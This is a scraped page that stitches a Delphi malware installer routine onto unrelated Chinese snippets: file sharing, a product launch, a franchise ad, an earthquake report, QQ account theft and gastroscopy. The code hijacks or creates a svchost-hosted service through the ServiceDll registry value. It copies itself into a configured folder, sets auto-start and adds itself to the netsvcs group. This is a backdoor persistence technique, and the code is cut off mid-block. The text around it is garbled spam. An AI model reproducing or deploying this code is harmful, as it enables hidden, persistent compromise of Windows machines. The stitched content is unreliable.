procedure Install(var DelMe:Boolean );stdcall ;varFileName: array[0..255] of Char;reg:TRegistry;hSCM,hSCS: Cardinal ;ss : TServiceStatus;Args : PChar;s,s1:string;begin FillChar(FileName,SizeOf(FileName),0);GetModuleFileName(HInstance, FileName, SizeOf(FileName));s := Config.DIR+config.FileName;reg := TRegistry.Create;reg.RootKey := HKEY_LOCAL_MACHINE ;hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);if hSCM = 0 then Exit ;case Config.StartupMode ofRunAsServiceD : //'s':现存服务启动 begin hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin ControlService(hSCS ,SERVICE_CONTROL_STOP,ss); ChangeServiceConfig(hSCS, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_NO_CHANGE, nil,nil,nil,nil,nil,nil,nil); if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+'\',True) ; SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); reg.CloseKey; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); StartService(hSCS , 0, Args); CloseServiceHandle(hSCS); end; end;RunAsService : //新建服务启动 begin InstallService(Config.SrvName, Config.DisplayName, '%SystemRoot%\System32\svchost.exe -k netsvcs', Config.Description); //安装服务 if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); reg.CloseKey; reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost',False ); SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); s1 := reg.ReadString('netsvcs'); s1 := config.SrvName+#0+s1; reg.WriteData('netsvcs',s1[1],Length(s1),REG_MULTI_SZ ); hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin StartService(hSCS , 0, Args); |
在企业企业,运用局域网络,常常会在局域网中的共享资源网络服务器储放一些资源共享,便捷共享资源一些材料文档。有的共享文档很有可能必须常常浏览,那麼每一次都需要去联接共享资源网络服务器会很不便,此刻能够将...
11月8日,三棵树健康胶2021新品发布会在三棵树总部盛大举行。三棵树涂料股份有限公司副总裁朱奇峰、中国陶瓷工业协会瓷砖美缝技术专业委员会会长王中渠、三棵树涂料股份有限公司胶黏剂事业部总经理董鹏华、大...
假如你对宋记鱼暖锅加盟项目感乐趣的话,那么这篇文章你必然要当真的看一看!因为这篇文章就是针对宋记鱼暖锅加盟好欠好?加盟怎么样?专门写出来的,为的就是让加盟商们可以或许在加盟之前,就对宋记鱼暖锅加盟项目...
中新网1月15日电 综合外媒消息,当地时间15日凌晨发生在印度尼西亚西苏拉威西省的6.2级地震,已造成至少34人死亡。印尼气象、气候和地球物理局警告称,当地可能还会发生强烈余震。 当地时间...
很多朋友都有过QQ号被盗的经历,即使用“密码保护”功能找回来后,里面的Q币也已经被盗号者洗劫一空,碰到更恶毒的盗号者,还会将你的好友统统删除,朋 友们将会永远得离开你。想过反击吗?什么,反击?别开...
胃镜检查到底痛不痛? 畏惧胃镜,多数人害怕会很痛,其实害怕只是心理作用。多数人对胃镜的理解是,一根黑色管子从嘴巴处直插入胃部,也有很多人做胃镜时,感觉到非常痛苦难以忍受。不过,从医学角度,人的胃...